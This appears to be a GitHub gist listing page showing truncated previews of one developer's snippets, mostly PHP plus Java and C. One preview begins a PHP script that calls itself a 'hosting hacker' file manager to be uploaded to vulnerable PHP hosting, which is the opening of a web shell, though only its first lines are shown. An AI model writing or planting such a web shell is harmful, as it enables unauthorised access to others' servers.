This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# | |
@Pepa\B\C | |
@NovakA(A) | |
@NovakB("B") | |
@NovakC(a="b",c="d",e="f") | |
class Pepa { | |
@NovakConst | |
const myConst = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Simple file manager and hosting hacker | |
* Upload to a vulnerable PHP hosting and open :) | |
*/ | |
$self = basename($_SERVER['PHP_SELF']); | |
$akce = @$_GET['akce']; | |
$path = @$_GET['path']; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
int main (int argc, char **argv) { | |
char str[] = "image%06d.png", buf[100]; | |
int num; | |
sscanf (str,"%s", buf); | |
printf ("%s\n", buf); | |
return 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package cz.juzna.latte.lexer; | |
import com.intellij.lexer.Lexer; | |
import com.intellij.lexer.LookAheadLexer; | |
import com.intellij.psi.tree.IElementType; | |
import com.intellij.psi.tree.TokenSet; | |
/** | |
* Uses base-lexer to get big chunks, and several of them (typesToLex) are then lexed into smaller tokens using sub-lexer. | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$doRemoveFinal = true; // play with it | |
// Imagine your favorite library here (of course it has finals) | |
class A { | |
final function getName() { return 'A'; } | |
} | |
final class B { | |
function getName() { return 'B'; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$path = "/tmp/ob.log"; | |
$logHandle = fopen($path, 'w') or die("unable to open temp file"); | |
ob_start(function($buffer) use ($logHandle) { fwrite($logHandle, $buffer); }, 20); | |
echo str_repeat("0", 20); // fill in the buffer | |
for($i = 0; $i < 10; $i++) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// method 1 - partial fetch | |
{ | |
$q = $em->createQuery("select partial a.{id,title}, length(a.body) from Model\\Article a"); | |
$q->setMaxResults(1); | |
$list = $q->execute(); | |
$entity = $list[0][0]; | |
/*dump($entity);*/ | |
var_dump($entity->body); // NULL as it was not fetched |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Intro: Need to display tables of content, they need to be dynamic (pagable, sortable, filterable), how to solve it? | |
------------------------------------------- | |
1st - static table | |
<table> | |
<thead> | |
<tr> | |
<th>#</th> | |
<th>Published</th> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use Nette\Forms\Controls\BaseControl, | |
Nella\Models\IEntity; | |
/** | |
* Select box control that display entities | |
* | |
* @author Jan Dolecek <juzna.cz@gmail.com> | |
*/ |